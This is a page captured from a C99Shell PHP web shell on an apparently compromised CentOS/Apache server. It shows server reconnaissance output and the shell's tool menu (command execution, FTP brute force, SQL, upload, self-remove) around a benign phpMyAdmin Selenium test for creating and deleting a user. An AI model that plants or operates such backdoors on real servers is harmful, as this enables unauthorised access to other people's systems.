!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/usr/share/phpMyAdmin/test/selenium/   drwxr-xr-x
Free 9.18 GB of 93.48 GB (9.83%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     PmaSeleniumCreateRemoveUserTest.php (2.89 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * Selenium TestCase for user related tests
 *
 * @package    PhpMyAdmin-test
 * @subpackage Selenium
 */

require_once 'TestBase.php';

/**
 * PmaSeleniumCreateRemoveUserTest class
 *
 * @package    PhpMyAdmin-test
 * @subpackage Selenium
 * @group      selenium
 */
class PMA_SeleniumCreateRemoveUserTest extends PMA_SeleniumBase
{
    
/**
     * Username for the user
     *
     * @access private
     * @var string
     */
    
private $_txtUsername;

    
/**
     * Password for the user
     *
     * @access private
     * @var string
     */
    
private $_txtPassword;

    
/**
     * Setup the browser environment to run the selenium test case
     *
     * @return void
     */
    
public function setUp()
    {
        
parent::setUp();
        
$this->skipIfNotSuperUser();
        
$this->_txtUsername 'pma_user';
        
$this->_txtPassword 'abc_123';
    }

    
/**
     * Creates and removes a user
     *
     * @return void
     *
     * @group large
     */
    
public function testCreateRemoveUser()
    {
        
$this->login();
        
$this->waitForElement('byLinkText'"Users")->click();

        
$link $this->waitForElement("byId""add_user_anchor");
        
$link->click();

        
$userField $this->waitForElement("byName""username");
        
$userField->value($this->_txtUsername);

        
$select $this->select($this->byId("select_pred_hostname"));
        
$select->selectOptionByLabel("Local");

        
$this->byId("button_generate_password")->click();
        
$this->assertNotEquals(""$this->byId("text_pma_pw")->value());
        
$this->assertNotEquals(""$this->byId("text_pma_pw2")->value());
        
$this->assertNotEquals(""$this->byId("generated_pw")->value());

        
$this->byId("text_pma_pw")->value($this->_txtPassword);
        
$this->byId("text_pma_pw2")->value($this->_txtPassword);
        
$this->byId("createdb-1")->click();
        
$this->byId("createdb-2")->click();
        
$this->byId("addUsersForm_checkall")->click();
        
$this->byName("adduser_submit")->click();

        
$success $this->waitForElement("byCssSelector""div.success");
        
$this->assertContains('You have added a new user'$success->text());

        
$this->waitForElement('byLinkText'"Users")->click();
        
$el $this->waitForElement("byId""usersForm");
        
$temp $this->_txtUsername "&amp;#27;localhost";

        
$this->byXPath(
            
"(//input[@name='selected_usr[]'])[@value='" $temp "']"
        
)->click();

        
$this->byId("checkbox_drop_users_db")->click();
        
$this->byId("buttonGo")->click();
        
$this->waitForElement("byCssSelector""button.confirmOK")->click();
        
$this->acceptAlert();

        
$success $this->waitForElement("byCssSelector""div.success");
        
$this->assertContains(
            
'The selected users have been deleted',
            
$success->text()
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0062 ]--